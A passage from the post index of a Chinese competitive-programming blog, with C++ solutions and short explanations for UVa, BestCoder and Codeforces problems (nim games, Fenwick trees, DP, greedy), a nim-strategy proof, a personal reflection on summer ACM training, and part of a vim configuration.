i) 35{ 36 if (q[i].w==q[i+1].w\u0026\u0026q[i].h==q[i+1].h) return true; 37 return false; 38} 39bool solve () 40{ 41 if (a.w==b.w\u0026\u0026a.h==c.h\u0026\u0026b.h==c.w) return true; 42 if (a.w==b.h\u0026\u0026a.h==c.h\u0026\u0026b.w==c.w) return true; 43 if (a.w==b.w\u0026\u0026a.h==c.w\u0026\u0026b.h==c.h) return true; 44 if (a.w==b.h\u0026\u0026a.h==c.w\u0026\u0026b.w==c.h) return true; 45 if (a.w==c.w\u0026\u0026a.h==b.h\u0026\u0026b.w==c.h) return true; 46 if (a.w==c.w\u0026\u0026a.h==b.w\u0026\u0026b.h==c.h) return true; 47 if (a.w==c.h\u0026\u0026a.h==b.w\u0026\u0026b.h==c.w) return true; 48 if (a.w==c.h\u0026\u0026a.h==b.h\u0026\u0026b.w==c.w) return true; 49 return false; 50} 51bool cmp(Q a,Q b) 52{ 53 if (a.w\u003cb.w) return true; 54 if (a.w==b.w\u0026\u0026a.h\u003cb.h) return true; 55 return false; 56} 57int main() 58{ 59 #ifndef ONLINE_JUDGE 60 freopen(\"in.txt\",\"r\",stdin); 61 #endif 62 while (scanf(\"%d %d\",\u0026q[0].w,\u0026q[0].h)!=EOF) 63 { 64 if (q[0].w\u003eq[0].h) swap","date":"2015-09-22","externalUrl":null,"permalink":"/2015/09/uva1587/","section":"Posts","summary":"给６个矩形的长和宽（或者宽和长），问这六个矩形能否组成一个长方体．","tags":["算法竞赛"],"title":"uva 1587 Box（思路）","type":"post"},{"categories":["ACM"],"content":"比赛的时候没过．还以为是树状数组写残了． 但实际上是有自己不知道的东西． 这种博弈叫　nim游戏 所以这是一个二维的nim游戏． **nim游戏的性质是xor 和为0必败，否则必胜． xor和也有前缀和性质，所以可以用树状数组维护． 1/************************************************************************* 2 \u003e File Name: code/bc/#56/r1003.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年09月22日 星期二 11时10分06秒 6 ************************************************************************/ 7#include\u003ciostream\u003e 8#include\u003ciomanip\u003e 9#include\u003ccstdio\u003e 10#include\u003calgorithm\u003e 11#include\u003ccmath\u003e 12#include\u003ccstring\u003e 13#include\u003cstring\u003e 14#include\u003cmap\u003e 15#include\u003cset\u003e 16#include\u003cqueue\u003e 17#include\u003cvector\u003e 18#include\u003cstack\u003e 19#include\u003ccctype\u003e 20#define y1 hust111qqz 21#define yn hez111qqz 22#define j1 cute111qqz 23#define ms(a,x) memset(a,x,sizeof(a)) 24#define lr dying111qqz 25using namespace std; 26#define For(i, n) for (int i=0;i\u003cint(n);++i) 27typedef long long LL; 28typedef double DB; 29const int inf = 0x3f3f3f3f; 30const int N=5E2+5; 31int c[N][N]; 32int a[N][N]; 33int n,m,q; 34int lowbit ( int x) 35{ 36 return x\u0026(-x); 37} 38void update (int x,int y,int delta) 39{ 40 for ( int i = x ; i \u003c= n ; i = i + lowbit(i)) 41 { 42 for ( int j = y ; j \u003c= m ; j = j + lowbit(j)) 43 { 44 c[i][j]^=delta; 45 } 46 } 47} 48int sum( int x,int y) 49{ 50 int res = 0; 51 for ( int i = x; i \u003e= 1 ; i = i - lowbit(i)) 52 { 53 for ( int j = y ; j \u003e= 1 ; j = j - lowbit(j)) 54 { 55 res ^= c[i][j]; 56 } 57 } 58 return res; 59} 60int main() 61{ 62 #ifndef ONLINE_JUDGE 63 freopen(\"in.txt\",\"r\",stdin); 64 #endif 65 int T; 66 scanf(\"%d\",\u0026T); 67 while (T--) 68 { 69 scanf(\"%d %d %d\",\u0026n,\u0026m,\u0026q); 70 for ( int i = 1 ; i \u003c= n ; i++) 71 { 72 for ( int j = 1 ; j \u003c= m ; j++) 73 { 74 scanf(\"%d\",\u0026a[i][j]); 75 update (i,j,a[i][j]); 76 } 77 } 78 for (int i = 0 ; i \u003c q ; i++) 79 { 80 int opt; 81 scanf(\"%d\",\u0026opt); 82 if (opt==1","date":"2015-09-22","externalUrl":null,"permalink":"/2015/09/bestcoder56div2cclarkeandpuzzlenim/","section":"Posts","summary":"比赛的时候没过．还以为是树状数组写残了． 但实际上是有自己不知道的东西． 这种博弈叫　nim游戏 所以这是一个二维的nim游戏． **nim游戏的性质是xor 和为0必败，否则必胜． xor和也有前缀和性质，所以可以用树状数组维护．","tags":["nim游戏","博弈论","树状数组"],"title":"bestcoder #56 div 2 C Clarke and puzzle (nim游戏　树状数组)","type":"post"},{"categories":["ACM"],"content":"假设有n堆石子，每堆石子的个数分别如下 a1, a2, a3, … an 定义nim-sum为a1^a2^a3…an 可以证明 1. 若a1^a2^a3…an != 0 则经过一次合法的移动之后必定可变成 a1^a2….an = 0 此时留下的局面为必胜。 2. 若a1^a2^a3…an = 0 则经过一次合法的移动，局面必定成为 a1^a2^a3…an != 0 3. 只要在某回合中留下a1,a2…an 使a1^a2^a3…an = 0，此时局面必胜 证明1：假设a1^a2^a3…an != 0 = k 则查看k的最高位，假设是在第x位上，则此位上有a1x^a2x^a3x….anx = 1 (a1x表示a1写成二进制，取a1的第x位) 必然可以寻找到一个ai（至少一个），其aix = 1 此时有ai^k \u003c ai 改变ai这堆石子使其成为ai^k 列出式子 a1^a2^a3..^ai^…an = k 则有 a1^a2^a3..^(ai^k)^…an = a1^a2^a3..^ai^…an^k = (a1^a2^a3..^ai^…an)^k = k^k = 0 即得证 证明2：使用反证法， 假设移动了ai堆石头使其成为ai' 有a1^a2^a3..ai..an = 0 即(a1^a2…a(i-1)^a(i+1)…an)^ai = 0 可得 等式 a1^a2…a(i-1)^a(i+1)…an = ai 假设a1^a2^a3…ai’….an = 0 根据前面得出的等式a1^a2…a(i-1)^a(i+1)…an = ai 即得 ai^ai’ = 0 可推出ai = ai' 此等式必然不成立，原式得证 证明3：假设游戏开始，P1 P2两名玩家，初始nim-sum != 0，使用必胜策略，P1始终能得到nim-sum != 0 的局面，而游戏过程石头始终在减少，查看最终局面：只有一行，此行可能有若干个石头，而游戏进行到最后必然会得出这个局面，这个局面是一个nim-sum != 0的局面，P1肯定能够得到这个局面，所以游戏必胜。","date":"2015-09-22","externalUrl":null,"permalink":"/2015/09/nim/","section":"Posts","summary":"假设有n堆石子，每堆石子的个数分别如下 a1, a2, a3, … an 定义nim-sum为a1^a2^a3…an","tags":["算法竞赛"],"title":"nim遊戲的必勝策略（博弈論）","type":"post"},{"categories":["ACM"],"content":"果然dp還是弱項啊啊啊啊．． 不過比最開始的完全無從下手強了不少應該．．． 至少dp狀態表示相對了．．．．轉移方程沒想出來嗚嗚嗚 官方題解：设d(i, j)d(i,j)表示前ii个数，模pp为jj的方案数，则容易得到d(0, 0)=1, d(i, j)=d(i-1, j)+sum_{j=0}^{p-1} d(i-1, (j-a[i]) mod p)d(0,0)=1,d(i,j)=d(i−1,j)+∑j=0p−1d(i−1,(j−a[i]) mod p)，很多人没1a是因为没注意|a_i| le 10^9∣ai∣≤109 1/************************************************************************* 2 \u003e File Name: code/bc/#56/1002.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年09月22日 星期二 10时47分20秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25#define lr dying111qqz 26using namespace std; 27#define For(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef double DB; 30const int inf = 0x3f3f3f3f; 31const int N = 1E3+5; 32const int MOD = 1E9+7; 33LL a[N],dp[N][N]; 34int n,p; 35int main() 36{ 37 #ifndef ONLINE_JUDGE 38 freopen(\"in.txt\",\"r\",stdin); 39 #endif 40 int T; 41 cin\u003e\u003eT; 42 while (T--) 43 { 44 scanf(\"%d %d\",\u0026n,\u0026p); 45 for ( int i = 1 ; i \u003c= n ; i++) scanf(\"%lld\",\u0026a[i]); 46 ms(dp,0); 47 dp[0][0] = 1; 48 49 for ( int i = 1 ; i \u003c= n ; i++) 50 { 51 for ( int j = 0 ; j \u003c p ; j ++) 52 dp[i][j] = dp[i-1][j]; 53 54 55 for ( int j = 0 ; j \u003c p ; j++) 56 dp[i][((j+a[i])%p+p)%p] +=dp[i-1][j]; 57 for ( int j = 0 ; j \u003c p ; j++) 58 dp[i][j]%=MOD; 59 } 60 printf(\"%lld\\n\",dp[n][0]); 61 } 62 63 64 #ifndef ONLINE_JUDGE 65 fclose(stdin); 66 #endif 67 return 0; 68}","date":"2015-09-22","externalUrl":null,"permalink":"/2015/09/bestcoder56div2bclarkeandproblemdp/","section":"Posts","summary":"果然dp還是弱項啊啊啊啊．． 不過比最開始的完全無從下手強了不少應該．．．","tags":["dp"],"title":"bestcoder #56 div 2 B Clarke and problem(dp)","type":"post"},{"categories":["ACM"],"content":"贪心．．尽量把一样的材料放在一起．．． 然后写蠢了．．妈蛋．．． 详情见代码 1/************************************************************************* 2 \u003e File Name: code/bc/#56/1001.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年09月19日 星期六 18时55分49秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25#define lr dying111qqz 26using namespace std; 27#define For(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef double DB; 30const int inf = 0x3f3f3f3f; 31const int N=5E2+7; 32int a[N],b[N]; 33int ans,cnt; 34int p[N]; 35int n; 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39 freopen(\"in.txt\",\"r\",stdin); 40 #endif 41 int T; 42 cin\u003e\u003eT; 43 while (T--) 44 { 45 ans = 0; 46 cnt = 0; 47 ms(p,0); 48 scanf(\"%d\",\u0026n); 49 for ( int i = 0 ; i \u003c n ; i++ ) 50 { 51 scanf(\"%d %d\",\u0026a[i],\u0026b[i]); 52 p[a[i]]+=b[i]; 53 } 54 int kind = 0; 55 for ( int i = 1 ;i \u003c= 500 ; i++) 56 { 57 if (p[i]!=0) 58 { 59 // cnt = cnt + (p[i]-1)/64 + 1; 60 cnt = cnt + (p[i]+63)/64;　//这样写不知高到哪里去了． 61 p[i] = 0; 62 } 63 64 } 65 //ans = ans + (cnt-1)/36+1; 66 ans = (cnt+35)/36; //不知高到哪里去了．．． 67 printf(\"%d\\n\",ans); 68 69 70 } 71 72 73 #ifndef ONLINE_JUDGE 74 fclose(stdin); 75 #endif 76 return 0; 77}","date":"2015-09-22","externalUrl":null,"permalink":"/2015/09/bestcoder56div2aclarkeandminecraft/","section":"Posts","summary":"贪心．．尽量把一样的材料放在一起．．． 然后写蠢了．．妈蛋．．． 详情见代码","tags":["greedy"],"title":"best coder #56 div 2 A　Clarke and minecraft（贪心）","type":"post"},{"categories":["ACM"],"content":"x的二进制表示中1的个数即为答案． 原因是，每天晚上糖果数量翻倍，相当于左移１位,这时候二进制表示中1的数量不变 也就是说，二进制表示中的所有的1，一定都是添加进去的 而且也只有二进制表示中的1是添加进去的 所以二进制表示中1的数量，就是添加的糖果数． 1/************************************************************************* 2 \u003e File Name: code/cf/#320/A.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年09月18日 星期五 23时18分34秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25#define lr dying111qqz 26using namespace std; 27#define For(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef double DB; 30const int inf = 0x3f3f3f3f; 31int main() 32{ 33 #ifndef ONLINE_JUDGE 34 35 #endif 36 int x; 37 cin\u003e\u003ex; 38 int ans = 0 ; 39 while (x) 40 { 41 if (x%2==1) ans++; 42 x = x / 2; 43 } 44 cout\u003c\u003cans\u003c\u003cendl; 45 46 #ifndef ONLINE_JUDGE 47 fclose(stdin); 48 #endif 49 return 0; 50}","date":"2015-09-18","externalUrl":null,"permalink":"/2015/09/codeforces320div2a-raisingbacteria/","section":"Posts","summary":"x的二进制表示中1的个数即为答案． 原因是，每天晚上糖果数量翻倍，相当于左移１位,这时候二进制表示中1的数量不变","tags":["位运算"],"title":"codeforces #320 div 2A - Raising Bacteria (位运算）","type":"post"},{"categories":["ACM"],"content":"初识分快. 引一段题解： Let’s split rectangle 106 × 106 by vertical lines into 1000 rectangles 103 × 106. Let’s number them from left to right. We’re going to pass through points rectangle by rectangle. Inside the rectangle we’re going to pass the points in increasing order of y-coordinate if the number of rectangle is even and in decreasing if it’s odd. Let’s calculate the maximum length of such a way. The coordinates are independent. By y-coordinate we’re passing 1000 rectangles from0 to 106, 109 in total. By x-coordinate we’re spending 1000 to get to the next point of current rectangle and 2000 to get to next rectangle. That means, 2 * 109 + 2000000 in total, which perfectly fits. The complexity is O(n * log(n)) 并不会做，看了题解写的，感觉好神奇… 然后加深了sort的cmp函数的理解．．． 原来还可以这么写． 有点开心，因为觉得解法有点美． 1/************************************************************************* 2 \u003e File Name: code/cf/#319/E.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年09月18日 星期五 20时55分10秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25#define lr dying111qqz 26using namespace std; 27#define For(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef double DB; 30const int inf = 0x3f3f3f3f; 31const int N=1E6+7; 32int n; 33int id[N],x[N],y[N]; 34 35bool cmp(int a,int b) //id[a] 和id[b]的大小比较定义 36{ 37 if (x[a]\u003cx[b]) return true; 38 if (x[a]\u003ex[b]) return false; 39 if (x[a]%2==1) return y[a]\u003cy[b]; 40 else retu","date":"2015-09-18","externalUrl":null,"permalink":"/2015/09/codeforces319div2ec-pointsonplane/","section":"Posts","summary":"初识分快. 引一段题解： Let’s split rectangle 106 × 106 by vertical lines into 1000 rectangles 103 × 106. Let’s number them from left to right. We’re going to pass through points rectangle by rectangle. Inside the rectangle we’re going to pass the points in increasing order of y-coordinate if the number of rectangle is even and in decreasing if it’s odd.","tags":["分块"],"title":"codeforces #319 div 2 E C. Points on Plane (分块)","type":"post"},{"categories":["ACM"],"content":"因为每一个正整数可以唯一分解质因数… 要看能猜多少次，只要知道不大于n的质因子数有多少个即可（相同的算多 由于n才是１０００．所以素数表随便搞就好….不用筛也行… 1/************************************************************************* 2 \u003e File Name: code/cf/#319/C.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年09月18日 星期五 20时29分00秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25#define lr dying111qqz 26using namespace std; 27#define For(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef double DB; 30const int inf = 0x3f3f3f3f; 31const int N=1E3+5; 32int pri[N]; 33int cnt; 34int n; 35int ans[N]; 36bool prime( int x) 37{ 38 if (x\u003c=3) return true; 39 for ( int i = 2 ; i *i \u003c= x ; i++) 40 { 41 if (x%i==0) return false; 42 } 43 return true; 44} 45int main() 46{ 47 #ifndef ONLINE_JUDGE 48 // freopen(\"in.txt\",\"r\",stdin); 49 #endif 50 ms(pri,0); 51 cnt = 0 ; 52 53 for ( int i = 2 ; i \u003c= 1005 ; i++) 54 { 55 if (prime(i)) 56 { 57 cnt++; 58 pri[cnt] = i ; 59 } 60 } 61 scanf(\"%d\",\u0026n); 62 ms(ans,0); 63 int num = 0 ; 64 for ( int i = 1 ; pri[i] \u003c= n\u0026\u0026i\u003c=cnt ; i++) 65 { 66 int tmp = pri[i]; 67 while (tmp\u003c=n) 68 { 69 num++; 70 ans[num] = tmp; 71 tmp = tmp * pri[i]; 72 73 } 74 } 75 cout\u003c\u003cnum\u003c\u003cendl; 76 for ( int i = 1 ; i \u003c= num ; i++) 77 { 78 cout\u003c\u003cans[i]\u003c\u003c\" \"; 79 } 80 81 82 83 #ifndef ONLINE_JUDGE 84 fclose(stdin); 85 #endif 86 return 0; 87}","date":"2015-09-18","externalUrl":null,"permalink":"/2015/09/codeforces319c-vasyaandpetyasgame/","section":"Posts","summary":"因为每一个正整数可以唯一分解质因数… 要看能猜多少次，只要知道不大于n的质因子数有多少个即可（相同的算多","tags":["math"],"title":"codeforces #319 C - Vasya and Petya's Game  (数学)","type":"post"},{"categories":["ACM"],"content":"背包还是理解的不够透彻．． 因为每次都是用那个一维形式的． 这道题的做法类似01背包. 此外还可以有一个优化… 当n\u003em的时候．．．根绝抽屉原理．．一定为yes.. 复杂度可以从o(nm)优到　o(m^2) 1/************************************************************************* 2 \u003e File Name: code/cf/#319/B.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年09月15日 星期二 19时54分44秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25#define lr dying111qqz 26using namespace std; 27#define For(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef double DB; 30const int inf = 0x3f3f3f3f; 31const int N=1E3+7; 32int n,m; 33int a[N]; 34int dp[N]; 35void OneZeroPack(int cost,int value) 36{ 37 for ( int v = m ; v--; v \u003e=cost) 38 { 39 dp[v] = max(dp[v],dp[v-cost]+value); 40 } 41} 42int main() 43{ 44 #ifndef ONLINE_JUDGE 45 46 #endif 47 cin\u003e\u003en\u003e\u003em; 48 if (n\u003e=m) 49 { 50 puts(\"YES\"); 51 return 0; 52 } 53 int k = 0; 54 for ( int i = 0 ; i \u003c n ; i++) 55 { 56 int x; 57 scanf(\"%d\",\u0026x); 58 if (x\u003em) continue; //大于背包容量的肯定直接舍去 59 k++; 60 a[k] = x; 61 } 62 // for ( int i = 1 ; i \u003c= k ; i++) cout\u003c\u003c\"a[i]:\"\u003c\u003ca[i]\u003c\u003cendl; 63 for ( int i = 0 ; i \u003c= m ; i++) 64 dp[i] = -inf; 65 dp[0] = 0 ; 66 for ( int i = 1 ; i \u003c= k ; i++) 67 { 68 OneZeroPack(a[i],a[i]); 69 } 70 for ( int i = 0 ; i \u003c= m ; i++) cout\u003c\u003ci\u003c\u003c\" \"\u003c\u003cdp[i]\u003c\u003cendl; 71 if (dp[m]==-inf) 72 { 73 puts(\"NO\"); 74 } 75 else 76 { 77 puts(\"YES\"); 78 } 79 80 81 #ifndef ONLINE_JUDGE 82 fclose(stdin); 83 #endif 84 return 0; 85}","date":"2015-09-16","externalUrl":null,"permalink":"/2015/09/codeforces319b-modulosumdp/","section":"Posts","summary":"背包还是理解的不够透彻．． 因为每次都是用那个一维形式的． 这道题的做法类似01背包.","tags":["01背包","dp","抽屉原理"],"title":"codeforces #319 B - Modulo Sum (抽屉原理，dp)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-09-15","externalUrl":null,"permalink":"/2015/09/uva1584circularsequence/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"uva 1584  Circular Sequence (字符串处理)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-09-15","externalUrl":null,"permalink":"/2015/09/uva1583b-digitgenerator/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"uva 1583 B - Digit Generator　(暴力)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-09-15","externalUrl":null,"permalink":"/2015/09/uva340a-master-mindhints/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"uva 340 A - Master-Mind Hints (暴力)","type":"post"},{"categories":["ACM"],"content":"A. Multiplication Table time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output Let’s consider a table consisting of n rows and n columns. The cell located at the intersection of i-th row and j-th column contains number i × j. The rows and columns are numbered starting from 1. You are given a positive integer x. Your task is to count the number of cells in a table that contain number x. Input The single line contains numbers n and x (1 ≤ n ≤ 105, 1 ≤ x ≤ 109) – the size of the table and the number that we are looking for in the table. Output Print a single number: the number of times x occurs in the table. Sample test(s) input 10 5 output 2 input 6 12 output 4 input 5 13 output 0 Note A table for the second sample test is given below. The occurrences of number 12 are marked bold. 我的内心是崩溃的。。。 20天没写代码。。。 然后这道谁题。。。竟然wa了两次。。。 其实思路是没有错的。。。 然后自作聪明得想优化。。。 把优化去掉就A了。。 慢慢恢复感觉== 哦，光扯了。 这道题很显然。。。x出现的话，在每一行只可能出现0次或1次。。 要同时满足 x%i==0 和 x/i\u003c=n 1/******************************************************************* 2Author :111qqz 3*******************************************************************/ 4 5#include \u003calgorithm\u003e 6#include \u003ccstdio\u003e 7#include \u003ciostream\u003e 8#include \u003ccstring\u003e 9#include \u003cstring\u003e 10#include \u003ccmath\u003e 11#include \u003cmap\u003e 12#include \u003cstack\u003e 13#include \u003cqueue\u003e 14#include \u003cset\u003e 15 16using namespace std; 17typedef long long LL; 18typedef unsigned long long ULL; 19const int inf = 0x7fffffff; 20int main() 21{ 22 int n,x; 23 int ans= 0; 24 cin\u003e\u003en\u003e\u003ex; 25 for ( int i = 1 ; i \u003c= n ; i++) 26 { 27 if (x%i==0 \u0026\u0026 x/i\u003c=n) 28 { 29 ans++; 30 } 31 } 32 cout\u003c\u003cans\u003c\u003cendl; 33 34 return 0; 35}","date":"2015-09-14","externalUrl":null,"permalink":"/2015/09/codeforces519aa-multiplicationtable/","section":"Posts","summary":"A. Multiplication Table time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output Let’s consider a table consisting of n rows and n columns. The cell located at the intersection of i-th row and j-th column contains number i × j. The rows and columns are numbered starting from 1.","tags":["算法竞赛"],"title":"codeforces #519 A  A. Multiplication Table (暴力)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-09-05","externalUrl":null,"permalink":"/2015/09/bc54aproblemofsorting/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"bc #54  A problem of sorting","type":"post"},{"categories":["ACM"],"content":"其实不应该在博客上写这种心情流的东西。。。。。。 显得好矫情啊。。。。。 心里好烦。。。。 妈蛋。。。。 到底要怎么办怎么办怎么办 从来都处理不好感情的事。。。 啊，虽然过了这么久。。 but….天天上课见啊。。。 暑假集训还要见啊。。。。见啊。。。见啊。。。。 一堆共同群啊喂。。。。。。 嗯。。。我知道这个博客会有队里的同学。。。或者学长偶尔也会看。。。。but总不能在空间人人朋友圈之类的乱说一通吧。。。求你们看见当没看见。。。谢谢。。。。 写出来是因为不写出来太难受。。。。心里好憋屈。。。。 其实只做错了一件事。。。。就是和她的事。。。。 我真的不知道怎么处理了。。。。 天天见面。。。。天天见面。。。。。天天见面。。。。。 天天见面。。。。天天见面。。。。。天天见面。。。。。 我又不是那种会处理感情的人。。。。唯一处理这种事情的经验就是长时间不见面\u003e_\u003c 然后又天天见面天天见面天天见面。。。。。 又不能因为这样的事情就不去搞ACM吧。。。。 在队群里连话都不想说。。。嘛，不过我这么弱，好像也没什么好说的（？ 不过问问题啊喂。。。。请教学长都觉得好别扭。。。。。 求问我心里阴影面积怎么算。。。。 不过还好还可以请教其他群的大神。。。不过总归是不如请教自己的直系学长方便呀。。。。sigh…. 真是sad….我觉得我三年五年之内是不会再对妹子感兴趣了。。。。。。 哦对。。。ACM。。。。其实后期暑假很多集训都没去。。。。因为真的是不想见。。。。。。。。。 然后还被虐。。。。天天被她踩。。。。。。。。。。。。。。。。。。。 然后自己刷了点专题。。。清了十多场BC和十多场CF的题。。。感觉还是挺有收货的？ vj最近上不去。。。。忽然忘记自己假期都干过什么了。。。sad… 大概刷了个基础搜索？ 然后学了树状数组？带花样的树状数组还是做了些的。。。。 然后。。。。好像就都是比较零散的了？ 来一个做一个的样子。。。。 不过确实感觉有进步吧。。。虽然还是挺弱的。。。。 cf 认真一点打（不要听音乐！不要听音乐！不要听音乐！）还是在涨的。。。。。我又注册了个小号== 不过进步的的确有点慢。。。都不好意思和适牛说话啦。。。。 感觉这样学起来有些太零散啦。。。。 大概应该多看看书？ 貌似那种不看书直接刷题的套路noip骗个省一什么的倒是没问题。。。 不过果然还是不怎么系统吧。。。。。 心态什么的还是好了挺多吧。。。感觉自己沉下来了。。。。不那么浮躁了。。。。大概是死生有命富贵在天？2333333 虽然感觉一边是自己最喜欢的味道，而另一边的会让自己过敏。。。 正如ACM和某妹子。。。。2333333 这学期要填各种坑。。。。转专业的坑+上学期作的死。。。。 但愿能活过这学期吧。。。。 最后。。。。 orz Pacedect？","date":"2015-09-02","externalUrl":null,"permalink":"/2015/09/2015/","section":"Posts","summary":"其实不应该在博客上写这种心情流的东西。。。。。。 显得好矫情啊。。。。。","tags":["算法竞赛"],"title":"心情流+2015暑假总结？+期望？","type":"post"},{"categories":["ACM"],"content":"1map \u003cF9\u003e :call SaveInputData()\u003cCR\u003e 2func! SaveInputData() 3 exec \"tabnew\" 4 exec 'normal \"+gP' 5 exec \"w! code/in.txt\" 6endfunc 7 8 9 10\"colorscheme torte 11\" colorscheme murphy 12colorscheme elflord 13\" colorscheme molokai 14\"colorscheme elisex 15\"colorscheme colorer 16\"colorscheme blacklight 17\"colorscheme blue 18\"colorscheme darkblue 19\"colorscheme evening 20\"colorscheme shine 21 22 23 24 25\"set fencs=utf-8,ucs-bom,shift-jis,gb18030,gbk,gb2312,cp936 26\"set termencoding=utf-8 27\"set encoding=utf-8 28\"set fileencodings=ucs-bom,utf-8,cp936 29\"set fileencoding=utf-8 30 31\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" 32\" 显示相关 33\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" 34\"set shortmess=atI \" 启动的时候不显示那个援助乌干达儿童的提示 35\"winpos 5 5 \" 设定窗口位置 36\"set lines=40 columns=155 \" 设定窗口大小 37set go= \" 不要图形按钮 38\"color asmanian2 \" 设置背景主题 39\"set guifont=Courier_New:h10:cANSI \" 设置字体 40syntax on \" 语法高亮 41autocmd InsertLeave * se nocul \" 用浅色高亮当前行 42autocmd InsertEnter * se cul \" 用浅色高亮当前行 43\"set ruler \" 显示标尺 44set showcmd \" 输入的命令显示出来，看的清楚些 45\"set cmdheight=1 \" 命令行（在状态行下）的高度，设置为1 46\"set whichwrap+=\u003c,\u003e,h,l \" 允许backspace和光标键跨越行边界(不建议) 47\"set scrolloff=3 \" 光标移动到buffer的顶部和底部时保持3行距离 48set novisualbell \" 不要闪烁(不明白) 49set statusline=%F%m%r%h%w\\ [FORMAT=%{\u0026ff}]\\ [TYPE=%Y]\\ [POS=%l,%v][%p%%]\\ %{strftime(\\\"%d/%m/%y\\ -\\ %H:%M\\\")} \"状态行显示的内容 50set laststatus=1 \" 启动显示状态行(1),总是显示状态行(2) 51\"set foldenable \" 允许折叠 52set foldmethod=manual \" 手动折叠 53\"set background=dark \"背景使用黑色 54set nocompatible \"去掉讨厌的有关vi一致性模式，避免以前版本的一些bug和局限 55\" 